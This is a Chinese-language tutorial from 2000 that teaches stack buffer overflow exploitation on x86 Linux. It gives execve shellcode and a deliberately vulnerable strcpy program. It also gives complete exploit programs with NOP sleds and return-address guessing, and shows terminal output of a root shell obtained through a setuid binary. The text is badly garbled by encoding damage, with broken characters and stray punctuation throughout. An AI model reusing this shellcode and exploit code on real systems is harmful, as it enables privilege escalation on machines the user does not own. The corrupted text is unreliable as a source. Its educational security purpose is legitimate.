
shellcode技術(shù)探討續(xù)二
發(fā)布日期: 2000- 1-25
內(nèi)容:
------------- ------------------------------ ------------------------------ -------
來源:<
> ;
概述:
,1疚慕o出 一個完整的利用緩沖區(qū)溢出取得root shell的
示例,只要你照著步驟一步步下來,就不會覺得它的神秘,
,6业囊鈭D正在于此。如果看不明白什么地方,可以在這里< br>,L釂,mail to: ,或者到綠色兵團的
,nix安全論壇上提問,tt在那里。水木清華97年以前就 大范
,咚接懻撨^緩沖區(qū)溢出,你沒趕上只能怪自己 生不逢時。
測試:
,edH at 6.0/Intel PII
目錄:
1.先來看一次緩沖區(qū)溢出
,2.研 究這個溢出
3.修改代碼加強理解
,4. 進一步修改代碼
,5.還想到什么
,6. 堆?蓤(zhí)行
,7.一個會被緩沖區(qū)溢出攻擊的程序例 子
,8.利用緩沖區(qū)溢出取得shell
, 9.分析取得shell失敗的原因
,10. 危險究 在于什么
,11. 待溢出緩沖區(qū)不足以容納shel lcode時該如何溢出
,12. 總結(jié)與思考
1. 先來看一次緩沖區(qū)溢出
vi sh elltest.c
/* 這是原來的shell code */
/*
char shellcod e[] =
,"
\xeb\x1f\x5e \x89\x76\x08\x31\xc0\x88\x46\x 07\x89\x46\x0c\xb0\x0b"
< br>,"
\x89\xf3\x8d\x4e\x0 8\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
,&q uot;
\x80\xe8\xdc\xff\xff\xff/b in/sh"
;
*/
/* 這是我們昨天自己得到的shellcode */
cha r shellcode[] =
"
\x eb\x1f\x5e\x89\x76\x09\x31\xc0 \x88\x46\x08\x89\x46\x0d\xb0\x 0b"
,"
\x89\xf3\x 8d\x4e\x09\x8d\x56\x0d\xcd\x80 \x31\xdb\x89\xd8\x40\xcd"
,"
\x80\xe8\xdc\xff\x ff\xff/bin/ksh"
;
c har large_string[128];
int main ()
{
,har buffer[96];
,nti;
,ong * long_ptr = ( long * ) large_string;
for ( i = 0;
i <
32;
i++ )
, {
,,/* 用buffer地址一路填寫large _string,一個指針占用4個字節(jié) */
,,,* ( long_ptr + i ) = ( int )buff er;
,
,or ( i = 0;
i <
strlen( shellcode );
i++ )
{
,,,arge_string [ i ] = shellcode[ i ];
,
/* 這個語句導(dǎo)致main()的返回地址被修改指 向buffer */
,trcpy( buffer , large_string );
}
gcc -o shelltest shelltest.c./shelltest
exit
這 個程序所做的是,在large_string中填入buffer 的地址,并把shell代碼
放到large_stri ng的前面部分。然后將large_string拷貝到buff er中,造成它溢
出,使返回地址變?yōu)閎uffer,而 buffer的內(nèi)容為shell代碼。這樣當(dāng)程序試圖從
main()中返回時,就會轉(zhuǎn)而執(zhí)行shell。
< br>scz注:原文有誤,不是試圖從strcpy()返回,而 是試圖從main()返回,必須
,, 區(qū)別這兩種說法 。
2. 研究這個溢出
在she llcode后面大量追加buffer指針,這是程序的關(guān)鍵所在 ,只有這樣才能
使得buffer指針覆蓋返回地址。其次 ,返回地址是四字節(jié)四字節(jié)來的,所以
在程序中出現(xiàn)的12 8和96不是隨便寫的數(shù)字,這些4的整數(shù)倍的數(shù)字保證了
在strcpy()調(diào)用中能恰好對齊位置地覆蓋掉返回地址,否則 前后一錯位就
不是那么回事情了。
要理解 程序的另外一個關(guān)鍵在于,堆是位于代碼下方棧上方的。所以buf fer
的溢出只會朝棧底方向前進,并不會覆蓋掉main ()函數(shù)本身的代碼,也是附和
操作系統(tǒng)代碼段只讀要求的 。不要錯誤地懷疑main()函數(shù)結(jié)束處的ret語句會
被覆蓋,切記這點。很多閱讀該程序的兄弟錯誤地認為buffer 位于代碼段中,
于是一路覆蓋下來破壞了代碼本身,昏倒。
3. 修改代碼加強理解
我們先 只做一個修改:
for ( i = 0;
i <
32;
i++ )
,
, ,/* 用shellcode地址一路填寫large_str ing,一個指針占用4個字節(jié) */
,,,*( lo ng_ptr + i ) = ( int )shellcod e;
,
返回地址被覆蓋成shell code指針,同樣達到了取得shell的效果。
4. 進一步修改代碼
char shellc ode[] =
,"
\xeb\x1f\x 5e\x89\x76\x09\x31\xc0\x88\x46 \x08\x89\x46\x0d\xb0\x0b"
,"
\x89\xf3\x8d\x4e\x 09\x8d\x56\x0d\xcd\x80\x31\xdb \x89\xd8\x40\xcd"
,&q uot;
\x80\xe8\xdc\xff\xff\xff/b in/ksh"
;
char larg e_string[128];
int mai n ()
{
char buffer[9 6];
,nti;
long * long_ptr = ( long * )large_st ring;
,or ( i = 0;
i <
32;
i++ )
,
,, /* 用shellcode地址一路填寫large_stri ng,一個指針占用4個字節(jié) */
,,*( lon g_ptr + i ) = ( int )shellcode ;
,
/* 這個語句導(dǎo)致main()的 返回地址被修改指向buffer */
,trcpy ( buffer, large_string );
}
啊哈,還是達到了效果。完全沒有必要把shel lcode拷貝到buffer中來嘛,定義
buffer 的作用就是利用獲得堆指針進而向棧底進行覆蓋,達到覆蓋返回 地址
的效果。
5. 還想到什么
既然buffer本身一錢不值,為什么要定義那么大,縮 小它!
char shellcode[] =
,"
\xeb\x1f\x5e\x89\x 76\x09\x31\xc0\x88\x46\x08\x89 \x46\x0d\xb0\x0b"
,&q uot;
\x89\xf3\x8d\x4e\x09\x8d\x 56\x0d\xcd\x80\x31\xdb\x89\xd8 \x40\xcd"
"
\x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
;
char large_string [12];
/* 修改 */
int main ()
{
,har buffer[4] ;
/* 修改 */
,nt,;
, long * long_ptr = ( long * )la rge_string;
,or ( i = 0;
i <
3;
i++ )/* 修改 */< br>{
,,,/* 用shellcode地址一 路填寫large_string,一個指針占用4個字節(jié) */< br>,,,*( long_ptr + i ) = ( i nt )shellcode;
,
,/* 這個語句導(dǎo)致main()的返回地址被修改指向buffer * /
,trcpy( buffer, large_s tring );
}
打住,再修改就失去 研究的意義了。
6. 堆?蓤(zhí)行
在這里我們需要解釋一個概念,什么叫堆?蓤(zhí)行。
按照 上述第1條目中給出的代碼,實際上shellcode進入了堆區(qū) 甚至棧區(qū),
終被執(zhí)行的是堆棧中的數(shù)據(jù),所謂堆?蓤(zhí)行 ,大概是說允許堆棧中
的數(shù)據(jù)被作為指令執(zhí)行。之所以用大 概這個詞,因為我自己對保護模式
匯編語言不熟悉,不了解 具體細節(jié),請熟悉的兄弟再指點。許多操作系
統(tǒng)可以設(shè)置系 統(tǒng)參數(shù)禁止把堆棧中的數(shù)據(jù)作為指令執(zhí)行,比如solaris中可以在/etc/system中設(shè)置:
* Foil certain classes of bug e xploits
set noexec_user_sta ck = 1
* Log attempted exploits
set noexec_user_st ack_log = 1
Linux下如何禁止堆 ?蓤(zhí)行我也沒仔細看過相關(guān)文檔,誰知道誰就說
一聲吧。
按照上述第3條目及其以后各條目給出的代碼,實 際上執(zhí)行了位于數(shù)據(jù)段
.data中的shellcode 。我不知道做了禁止堆?蓤(zhí)行設(shè)置之后,能否阻止
數(shù)據(jù)段 可執(zhí)行?誰了解保護模式匯編,給咱們講講。
即使 這些都被禁止了,也可以在代碼段中嵌入shellcode,代碼 段中的
shellcode是一定會被執(zhí)行的。
< br>可是,上面的討論忽略了一個重要前提,我們要溢出別人的函 數(shù),而
不是有源代碼供你修改的自己的函數(shù)。在這個前提下 ,我們可能利用的
就是種方式了,明白?
< br>7. 一個會被緩沖區(qū)溢出攻擊的程序例子
我們僅僅明白了如何利用緩沖區(qū)溢出修改函數(shù)的返回地址而已?汕 面修改的
是我們自己的main()函數(shù)返回地址,沒有用 。仔細想想,如果執(zhí)行一個suid了
的程序,該程序的m ain()函數(shù)實現(xiàn)中有下述代碼:
/* gcc -o overflow overflow.c */
int main ( int argc, char * ar gv[] )
{
,har buffer[ 16 ] = "
"
;
,f ( argc >
1 )
,
,,, strcpy( buffer, argv[1] );
,,,uts( buffer );
,
,lse
,
,,uts( &qu ot;
Argv[1] needed!"
);
}
,eturn 0;
}
[scz@ /home/scz/src]>
./o verflow 0123456789abcdefghi
0123456789abcdefghi
[scz@ /home/scz/src]>
./overflow 0123456789abcdefghij
012345 6789abcdefghij
Segmentation fault (core dumped)
[scz@ /home/scz/src]>
./overflow 0123456789abcdefghijk
01234 56789abcdefghijk
BUG IN DYN AMIC LINKER ld.so: dl-runtime. c: 61: fixup: Assertion `((rel oc->
r_info) & 0xff) == 7 9;
failed!
[scz@ /home/scz/ src]>
./overflow 0123456789 abcdefghijkl
0123456789abcd efghijkl
Segmentation fault (core dumped)
[scz@ /home/ scz/src]>
gdb overflow
G NU gdb 4.17.0.11 with Linux su pport
This GDB was configur ed as "
i386-redhat-linux& quot;
..
(gdb) target core c ore <
-- -- -- 調(diào)入core文件
Core was generated by `./overf low 0123456789abcdefghijkl' ;
.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/ libc.so.6...done.
Reading s ymbols from /lib/ld-linux.so.2 ...done.
#00x40006c79 in _ dl_load_cache_lookup (name=Can not access memory at address 0 x6a69686f.
) at ../sysdeps/ generic/dl-cache.c:202
../s ysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach <
-- -- -- 卸掉 core文件
No core file now.
(gdb)
8. 利用緩沖區(qū)溢出取得she ll
/* gcc -o overflow_e x overflow_ex.c */
#def ine BUFFER_SIZE,256
#defin e DEFAULT_OFFSET 64
uns igned long get_esp ()
{
,_asm__
("
,, movl %esp, %eax
,"
);
}
int main ( int a rgc, char * argv[] )
{
< br>char shellcode[] =
, ,"
\xeb\x1f\x5e\x89\x76\x 09\x31\xc0\x88\x46\x08\x89\x46 \x0d\xb0\x0b"
,,,&quo t;
\x89\xf3\x8d\x4e\x09\x8d\x56 \x0d\xcd\x80\x31\xdb\x89\xd8\x 40\xcd"
,,"
\x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
;
,har *,,,,uff er = 0;
,nsigned long * pAddress = 0;
,har *,,, pChar,= 0;
int,,,,, i;
int,,,,, offset = DEF AULT_OFFSET;
,uffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
,f ( buffer = = 0 )
,
,,,uts( &quo t;
Can'
t allocate memory&qu ot;
);
,,,xit( 0 );
, }
pChar = buffer;
,/ * fill start of buffer with no ps */
memset( pChar, 0x90 , BUFFER_SIZE - strlen( shellc ode ) );
,Char += ( BUFFE R_SIZE - strlen( shellcode ) ) ;
/* stick asm code into the buffer */
,or ( i = 0;
i <
strlen( shellcode ) ;
i++ )
,
,,,*( pChar ++ ) = shellcode[ i ];
,< br>pAddress = ( unsigned lon g * )pChar;
,or ( i = 0 ;
i <
( BUFFER_SIZE / 4 );
i ++ )
,
,,,*( pAddress ++ ) = get_esp() + offset;
,
,Char= ( char * )pAd dress;
*pChar = 0;
, execl( "
/home/scz/src/ove rflow"
, "
/home/scz/s rc/overflow"
, buffer, 0 ) ;
,eturn 0;
}
程 序中g(shù)et_esp()函數(shù)的作用就是定位堆棧位置。首先分配一 塊內(nèi)存buffer,然后在buffer的前面部分
填滿 NOP,后面部分放shellcode。后部分是希望程序返回 的地址,由棧頂指針加偏移得到。當(dāng)以buffer
為參數(shù) 調(diào)用overflow時,將造成overflow程序的緩沖區(qū)溢 出,其緩沖區(qū)被buffer覆蓋,而返回地址將指向
NO P指令。
[scz@ /home/scz/sr c]>
gcc -o overflow_ex over flow_ex.c
[scz@ /home/scz/s rc]>
./overflow_ex
... . ..
.../bin/ksh...
... .. .
Segmentation fault (core dumped)
[scz@ /home/scz/src ]>
失敗,雖然發(fā)生了溢出,卻沒有取得 可以使用的shell。
9. 分析取得shel l失敗的原因
條目7中給出的源代碼表明over flow.c只提供了16個字節(jié)的緩沖區(qū),
按照我們前面 討論的溢出技術(shù),overflow_ex導(dǎo)致overflow的 main()函數(shù)的返回地址被0x90覆蓋,
沒有足夠空 間存放shellcode。
讓我們對overf low.c做一點小小的調(diào)整以遷就overflow_ex.c的 成功運行:
old:,har buffer [ 16 ] = "
"
;
new: ,har buffer[ 256 ] = "
& quot;
;
[scz@ /home/scz/ src]>
./overflow_ex
... ... <
-- -- -- NOP指令的漢字顯示.../bin/ksh...
... ... &l t;
-- -- -- 返回地址的漢字顯示
$ exi t <
-- -- -- 取得了shell
[s cz@ /home/scz/src]>
10. 危險究在于什么
假設(shè)曾經(jīng)發(fā)生過這樣 的操作:
[root@ /home/scz/s rc]>
chown root.root overfl ow
[root@ /home/scz/src]> ;
chmod +s overflow
[root@ /home/scz/src]>
ls -l overf low
-rwsr-sr-x 1 root, ro ot overflow
[root@ /home/sc z/src]>
好了,麻煩就是這樣開始的 :
[scz@ /home/scz/src]& gt;
./overflow_ex
... ... & lt;
-- -- -- NOP指令的漢字顯示
... /bin/ksh...
... ... <
-- -- -- 返回地址的漢字顯示
# id <
-- -- -- 你得到了root shell,看看你是誰吧
uid=500(scz) gid=100(users ) euid=0(root) egid=0(root) gr oups=100(users)
,,,,,,,,, ,,~~~~~~~~~~~~~~~~~~~~~~~~ 昏 倒
# exit
[scz@ /home/scz /src]>
id
uid=500(scz) g id=100(users) groups=100(users )
[scz@ /home/scz/src]>
至此你應(yīng)該明白如何書寫自己的shellcod e,如何辨別一個shellcode是否
真正是在提供s hell而不是木馬,什么是緩沖區(qū)溢出,究如何利用緩沖區(qū)溢出,什么情況下的緩沖區(qū)溢出對攻擊者非常有利,suid/ sgid程序的危險
性等等。于是你也明白了,為什么某些 exploit出來之后如果沒有補丁,
一般都建議你先c hmod -s,沒有什么奇怪,雖然取得shell,但不是root shell而已。
11. 待溢出 緩沖區(qū)不足以容納shellcode時該如何溢出
vi overflow.c
/* gcc - o overflow overflow.c */
in t main ( int argc, char * argv [] )
{
,har buffer[ 9 ] = "
"
;
if ( a rgc >
1 )
{
,,,tr cpy( buffer, argv[1] );
, puts( buffer );
,
, lse
,
,,,uts( "
Argv[1] needed!"
);
, }
,eturn 0;
}
- ------------------------------ --------
vi overflow_ex .c
/* gcc -o overflow_e x overflow_ex.c */
#def ine BUFFER_SIZE,256
/* 取;羔 */
unsigned long get _ebp ()
{
,_asm__
,("
,,,ovl %ebp, %e ax
,"
);
}
int main ( int argc, char * ar gv[] )
{
,har shel lcode[] =
,,,"
\xeb\x 1f\x5e\x89\x76\x09\x31\xc0\x88 \x46\x08\x89\x46\x0d\xb0\x0b&q uot;
,,,"
\x89\xf3\x8d \x4e\x09\x8d\x56\x0d\xcd\x80\x 31\xdb\x89\xd8\x40\xcd"
,,,"
\x80\xe8\xdc\xff\x ff\xff/bin/ksh"
;
char *,,,,uffer = 0;
, unsigned long * pAddress = 0;
,har *,,,Char,= 0;
int,,,,, i;
,uf fer = ( char * )malloc( BUFFER _SIZE * 2 + 1 );
,f ( buf fer == 0 )
{
,,,uts( "
Can'
t allocate memo ry"
);
,,,xit( 0 );
< br>,
,Address = ( unsi gned long * )buffer;
,or ( i = 0 ;
i <
( BUFFER_SIZE / 4 );
i++ )
,
,,,*( pAddress++ ) = get_ebp() + BU FFER_SIZE;
,
,Char = buffer + BUFFER_SIZE;
/* fill start of buffer with nop s */
,emset( pChar, 0x90, BUFFER_SIZE - strlen( shellco de ) );
pChar += ( BUFFER _SIZE - strlen( shellcode ) );
,/* stick asm code into the buffer */
,or ( i = 0;
i <
strlen( shellcode );
i++ )
,
,,*( pChar+ + ) = shellcode[ i ];
,,*pChar = 0;
execl( & quot;
/home/scz/src/overflow&qu ot;
, "
/home/scz/src/overf low"
, buffer, 0 );
, eturn 0;
}
[scz@ /ho me/scz/src]>
./overflow_ex< br>... ... <
-- -- -- 返回地址的 漢字顯示
... ... <
-- -- -- NOP指令的漢字顯示
.../bin/ksh... & lt;
-- -- -- shellcode的漢字顯示
$ exit <
-- -- -- 溢出成功,取得s hell
[scz@ /home/scz/src]&g t;
warning3注:對于簡單的弱點程序, 這種方法是可行的.不過如果問題
函數(shù)有很多參數(shù),并且這 些參數(shù)在strcpy()之后還要使用的話,這種方
法就 很難成功了.
例如:
vulnerable_fu nc(arg1,arg2,arg3)
{
cha r *buffer[16];
...
strcp y(buffer,arg1);
...
othe r_func(arg2);
...
other_ func(arg3);
...
}
如果直 接覆蓋,就會導(dǎo)致arg1,arg2,arg3也被覆蓋,函數(shù)就 可能不能正常返回.
Aleph1的辦法是將sh ellcode放到環(huán)境變量里傳遞給有弱點的函數(shù),用環(huán)境變量< br>的地址做為返回地址,這樣我們可以只用24個字節(jié)的buf fer來覆蓋掉返回地址,
而不需要改動參數(shù).
< br>12. 總結(jié)與思考
,I厦孢@些例子本身 很簡單,完全不同于那些端復(fù)雜的溢出例子。但無論多么
復(fù)雜,其基本原理是一樣的。要完成取得root shell 的緩沖區(qū)攻擊:
a. 有一個可以發(fā)生溢出的 可執(zhí)行程序,各種Mail List會不斷報告新發(fā)現(xiàn)的可供, 攻擊的程序;自己也可以通過某些低級調(diào)試手段獲知程 序中是否存在容易發(fā)生
,, 溢出的函數(shù)調(diào)用,這些調(diào)試 手段不屬于今天講解范疇,以后再提。
b. 該程序是 root的suid程序,用ls -l確認。
,. 普通用戶有適當(dāng)?shù)臋?quán)限運行該程序。
,. 編寫合理的 溢出攻擊程序,shellcode可以從以前成功使用過的例子中 提取。
,. 要合理調(diào)整溢出程序,尋找(或者說探測 )main()函數(shù)的返回地址存放點,找到
,, 它并 用自己的shellcode地址覆蓋它;這可能需要很大的耐心和 毅力。
,倪@些簡單的示例中看出,為了得到一 個可成功運行的exploit,攻擊者們付出過太
,6 心血,每一種技術(shù)的產(chǎn)生和應(yīng)用都是各種知識長期積累、自己不斷總 結(jié)、大家群策
,H毫Φ慕Y(jié)果,如果認為了解幾個現(xiàn)成的b ug就可以如何如何,那是種悲哀。
后記:
顛峰時刻的水木清華的確不是其他站點可以大范圍 越的,盡管在某些個別版面上
存在著分庭抗禮。如果你 想了解系統(tǒng)安全,應(yīng)該從水木清華 Hacker 版98.6以前 的
所有精華區(qū)打包文件開始,那些舊日的討論和技術(shù)文 章在現(xiàn)在看來也值得初學(xué)者仔
細研讀。
,N恼碌淖谥疾⒉皇墙棠氵M行實際破壞,但你掌握了這種技術(shù), 或者退一步,了解過這
種技術(shù),對于狂熱愛好計算機技 術(shù)的你來說,不是什么壞事。也許在討論它們的時候,
, 某些人企圖阻止過你了解它們,或者當(dāng)你想了解它們的時候,有人給 你帶來過不愉快
的感受,忘記這些人,just do it! 只是你還應(yīng)該明白一些事實,看過<
<
這個 殺手不
,L>
>
沒有,no child ren、no women,我想說的不是這個,但你應(yīng)該明白我想 說什么。
,ood luck for you.< br>